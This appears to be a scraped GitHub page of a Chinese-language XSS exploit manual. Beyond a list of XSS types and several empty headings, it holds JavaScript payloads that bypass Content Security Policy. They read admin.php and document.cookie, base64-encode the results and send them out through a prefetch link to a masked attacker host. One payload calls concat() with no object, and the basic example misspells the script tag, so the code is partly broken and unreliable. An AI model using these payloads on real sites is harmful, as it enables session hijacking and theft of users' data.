Skip to content

Latest commit

 

History

History
61 lines (58 loc) · 2.02 KB

EXP-XSS.md

File metadata and controls

61 lines (58 loc) · 2.02 KB

EXP手册-Cross-site scripting

基础知识

XSS攻击可以分为3类:存储型(持久型)、反射型(非持久型)、基于DOM。

<scrpit>alert('XSS')</script>   

0x01 Client-Side Template Injection实现XSS攻击

Bypass

0x02 Bypass Filter

0x03 Bypass CSP

同源:协议、域名、端口相同。

利用<link>绕过CSP,发送cookie

<script>
$.get("admin.php", function(data){
  var content = window.btoa(document.cookie).concat(window.btoa(data));
  var n0t = document.createElement("link");
  n0t.setAttribute("rel", "prefetch");
  n0t.setAttribute("href", "http://***/".concat(content));
  document.head.appendChild(n0t);
});
</script>

在上述基础上访问其他页面

<script>
getText = function(url, callback) 
{
    var request = new XMLHttpRequest();
    request.onreadystatechange = function()
    {
        if (request.readyState == 4 && request.status == 200)
        {
            callback(request.responseText); 
        }
    }; 
    request.open("GET", url);
    request.send();
}
function mycallback(data) {
  var content =concat(window.btoa(data));
  var n0t = document.createElement("link");
  n0t.setAttribute("rel", "prefetch");
  n0t.setAttribute("href", "http://*****/".concat(content));
  document.head.appendChild(n0t);
}
getText("admin.php", mycallback); 
</script>

Reference